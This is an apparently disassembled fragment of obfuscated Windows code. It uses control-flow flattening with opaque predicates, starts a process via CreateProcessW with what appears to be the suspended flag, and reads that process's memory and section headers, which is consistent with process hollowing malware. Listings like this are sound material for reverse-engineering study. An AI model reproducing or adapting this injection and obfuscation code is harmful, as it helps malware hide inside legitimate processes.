mov ecx, dword [ecx + 0xa4]
xor edx, edx
sub edx, 8
sub ecx, edx
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 8
sub eax, ecx
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x70], eax
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x92bbe17e
mov ecx, 0xb69de021
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov dword [ebp - 0x148], 0x380b96a1
jmp 0x10004db1
mov eax, dword [0x10066738]
mov ecx, dword [0x10066734]
mov edx, eax
add edx, 0x7e18fc14
sub edx, 1
sub edx, 0x7e18fc14
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x84a4e3cb
mov ecx, 0xb104226b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x10066738]
mov eax, dword [0x10066734]
mov edx, ecx
sub edx, 0xf63b209
sub edx, 1
add edx, 0xf63b209
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x84a4e3cb
mov ecx, 0x48b3207d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x148], eax
jmp 0x10004db1
mov eax, dword [ebp - 0x6c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x24]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x148], 0x2e5e9246
jmp 0x10004db1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10005470
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x148], 0xe3bf55e5
jmp 0x10004db1
mov edx, dword [ebp - 0xe8]
xor eax, eax
lea ecx, [ebp - 0x68]
lea eax, [ebp - 0x24]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x148], 0xa3c71726
jmp 0x10004db1
mov dword [ebp - 0x148], 0x4d4d892c
jmp 0x10004db1
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x110]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb4]
add ecx, eax
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov edx, dword [ebp - 0x120]
mov edx, dword [edx]
mov esi, dword [ebp - 0x110]
imul esi, dword [esi], 0x28
add edx, esi
mov esi, dword [edx + 0xc]
xor edx, edx
sub edx, esi
add eax, edx
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov dword [ebp - 0x148], 0xc7af05e9
jmp 0x10004db1
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x148], 0x50b0aa4a
jmp 0x10004db1
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x98]
add ecx, 0x12ba096f
sub ecx, 8
sub ecx, 0x12ba096f
shr ecx, 1
mov eax, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x140]
mov edx, dword [eax + 0x34]
xor eax, eax
sub eax, edx
add ecx, eax
mov eax, dword [ebp - 0x104]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [eax], 0
mov dword [ebp - 0x148], 0x6fe0889c
jmp 0x10004db1
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x148], 0xf99822e2
jmp 0x10004db1
mov eax, dword [ebp - 0x140]
add eax, 0x18
add eax, 0x1c
mov ecx, dword [ebp - 0x13c]
mov ecx, dword [ecx + 0xa4]
add ecx, 0x4ef51c4
add ecx, 8
sub ecx, 0x4ef51c4
mov edx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x148], 0xe3ea3830
jmp 0x10004db1
mov dword [ebp - 0x148], 0xb104226b
jmp 0x10002670